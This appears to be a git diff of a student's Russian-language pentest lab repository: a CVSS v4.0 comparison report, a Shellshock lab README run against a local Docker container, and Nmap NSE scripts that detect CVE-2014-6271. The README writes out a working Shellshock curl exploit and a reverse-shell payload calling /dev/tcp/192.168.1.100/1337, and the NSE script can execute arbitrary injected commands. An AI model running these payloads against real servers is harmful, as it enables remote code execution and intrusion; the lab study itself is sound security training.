v4.0 Score: 9.4 / Critical + + +### Задание 1.3 + +В ходе заданий 1.2 и 1.3 мы получили следующие векторы и показатели критичности уязвимостей: + +| Уязвимость | Вектор CVSS:4.0 | Метрика CVSS v4.0 | +| ----- | ----- | ----- | +| Уязвимость системы управления конфигурациями | CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | 9.0 / Critical | +| Уязвимость системы мониторинга сетевого трафика | CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | 9.4 / Critical | + +Согласно полученным метрикам более критичной можно считать уязвимость системы мониторинга сетевого трафика. Я согласен с тем, что говорят цифры: +1. Это часть системы защиты информации. Данная уязвимость может привести к отключению других защитных механизмов, что может раскрыть и прочие уязвимости для атакующего. +2. Уязвимость из задания 1 может быть теоретически полностью митигирована системой защиты информации, а данная -- нет, так как уявзим компонент защиты. +3. Уявзимость из задания 1, возможно, не позволяет эксплуатировать её в самой системе управления конфигурациями (нет информации), тогда её конечная метрика будет снижена. + +### Итог задания 1.3 + +Таким образом, в первую очередь необходимо устранить именно вторую уязвимость, так как она ставит под сомнение абсолютно всю систему защиты информации, и её экслуатация может привести к демитигации других уязвимостей. + +Тем не менее, первая уязвимость тоже крайне опасна для любой информационной системы, так что устранив вторую уязвимость, нельзя забывать о первой, в идеале устранять их одновременно. + +# Итог лабораторной работы +На этом лабораторная работа окончена, файл отчет в формате pdf во вложении. + +Выполнил: Харитонов Марат Русланович, студенческий билет №М235314. \ No newline at end of file diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/123 b/02-pentest/02-vuln/02-openvas/01-shellshock/123 new file mode 100644 index 0000000..f9522aa --- /dev/null +++ b/02-pentest/02-vuln/02-openvas/01-shellshock/123 @@ -0,0 +1,20 @@ +/*local http = require "http" +local stdnse = require "stdnse" +local shortport = require "shortport" +local output = stdnse.output_table() + +local function check(host, port, url) + local payload = "() { :; }; echo; echo VULN" + local response = http.get(host, port, url, { ["header"] = { ["User-Agent"] = payload } }) + output = response + return output + return response and response.body and response.body:find("VULN") +end + +portrule = shortport.http + +action = function(host, port) + local url = stdnse.get_script_args("url") + local vulnerable = check(host, port, url) + return string.format("Host %s:%s/%s is %s vulnerable to Shellshock", host.ip, port.number, url, vulnerable and "" or " NOT", url) +end */ \ No newline at end of file diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/README.md b/02-pentest/02-vuln/02-openvas/01-shellshock/README.md new file mode 100644 index 0000000..122f96e --- /dev/null +++ b/02-pentest/02-vuln/02-openvas/01-shellshock/README.md @@ -0,0 +1,53 @@ +# Модуль 2. Сканирование на уязвимости. Сетевые сканирования +## Практическое задание №2 +### Задание №1. Детектирование Shellshock с помощью Nmap + +1. Скачаем [репозиторий](https://github.com/Zenithar/docker-shellshockable) и соберем Docker-контейнер + +![alt text](image.png) + +2. Запустим контейнер командой `docker run -d -p 80:80 --name shellshock marker689/shellshockable` + +3. Посмотрим вывод CGI-скрипта. + +``` +curl http://localhost/cgi-bin/shockme.cgi +``` +![alt text](image-1.png) + +Вывод соответствует коду в CGI-скрипте: + +```bash +#!/usr/local/bin/bash +echo "Content-type: text/html" +echo "" +echo "https://shellshocker.net/" +``` + +4. Выполним эксплуатацию уязвимости Shellshock + +`curl -A "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /usr/lib/cgi-bin/shockme.cgi" http://localhost/cgi-bin/shockme.cgi` + +![alt text](image-2.png) + +```bash +#!/usr/local/bin/bash +echo "Content-type: text/html" +echo "" +echo "https://shellshocker.net/" +``` + +Мы раскрыли содержимое скрипта, также можно сделать ревер-шелл. + +5. `curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.100/1337 0>&1'" http://localhost/cgi-bin/shockme.cgi` + +![alt text](image-3.png) + +6. Приступим к написанию + + + +# Итог лабораторной работы +На этом лабораторная работа окончена, файл отчет в формате pdf во вложении. + +Выполнил: Харитонов Марат Русланович, студенческий билет №М235314. \ No newline at end of file diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/image-1.png b/02-pentest/02-vuln/02-openvas/01-shellshock/image-1.png new file mode 100644 index 0000000..92bd09c Binary files /dev/null and b/02-pentest/02-vuln/02-openvas/01-shellshock/image-1.png differ diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/image-2.png b/02-pentest/02-vuln/02-openvas/01-shellshock/image-2.png new file mode 100644 index 0000000..25b2f3e Binary files /dev/null and b/02-pentest/02-vuln/02-openvas/01-shellshock/image-2.png differ diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/image-3.png b/02-pentest/02-vuln/02-openvas/01-shellshock/image-3.png new file mode 100644 index 0000000..741b940 Binary files /dev/null and b/02-pentest/02-vuln/02-openvas/01-shellshock/image-3.png differ diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/image.png b/02-pentest/02-vuln/02-openvas/01-shellshock/image.png new file mode 100644 index 0000000..1cb844e Binary files /dev/null and b/02-pentest/02-vuln/02-openvas/01-shellshock/image.png differ diff --git a/02-pentest/02-vuln/02-openvas/01-shellshock/shellshock.nse b/02-pentest/02-vuln/02-openvas/01-shellshock/shellshock.nse new file mode 100755 index 0000000..c6aa07c --- /dev/null +++ b/02-pentest/02-vuln/02-openvas/01-shellshock/shellshock.nse @@ -0,0 +1,75 @@ +local http = require "http" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local vulns = require "vulns" +local rand = require "rand" + +description = [[ + Check shellshocked +]] + + +portrule = shortport.http + +function generate_http_req(host, port, uri, custom_header, cmd) + local rnd = nil + --Set custom or probe with random string as cmd + if not cmd then + local rnd1 = rand.random_alpha(7) + local rnd2 = rand.random_alpha(7) + rnd = rnd1 .. rnd2 + cmd = ("echo; echo -n %s; echo %s"):format(rnd1, rnd2) + end + cmd = "() { :;}; " .. cmd + -- Plant the payload in the HTTP headers + local options = {header={}} + options["no_cache"] = true + if custom_header == nil then + stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd) + options["header"]["User-Agent"] = cmd + options["header"]["Referer"] = cmd + options["header"]["Cookie"] = cmd + else + stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header) + options["header"][custom_header] = cmd + end + local req = http.get(host, port, uri, options) + + return req, rnd +end + +action = function(host, port) + local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil + local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil + local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' + local req, rnd = generate_http_req(host, port, uri, http_header, nil) + if req.status == 200 and req.body:find(rnd, 1, true) then + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local vuln = { + title = 'HTTP Shellshock vulnerability', + state = vulns.STATE.NOT_VULN, + description = [[ +This web application might be affected by the vulnerability known +as Shellshock. It seems the server is executing commands injected +via malicious HTTP headers. + ]], + IDS = {CVE = 'CVE-2014-6271'}, + references = { + 'http://www.openwall.com/lists/oss-security/2014/09/24/10', + 'http://seclists.org/oss-sec/2014/q3/685', + 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169' + }, + dates = { + disclosure = {year = '2014', month = '09', day = '24'}, + }, + } + stdnse.debug1("Random pattern '%s' was found in page. Host seems vulnerable.", rnd) + vuln.state = vulns.STATE.EXPLOIT + if cmd ~= nil then + req = generate_http_req(host, port, uri, http_header, cmd) + vuln.exploit_results = req.body + end + return vuln_report:make_output(vuln) + end +end \ No newline at end of file diff --git a/pentest/01-network/01-tcpip/02-tcp/GOVNO.pdf b/pentest/01-network/01-tcpip/02-tcp/GOVNO.pdf deleted file mode 100644 index b303682..0000000 Binary files a/pentest/01-network/01-tcpip/02-tcp/GOVNO.pdf and /dev/null differ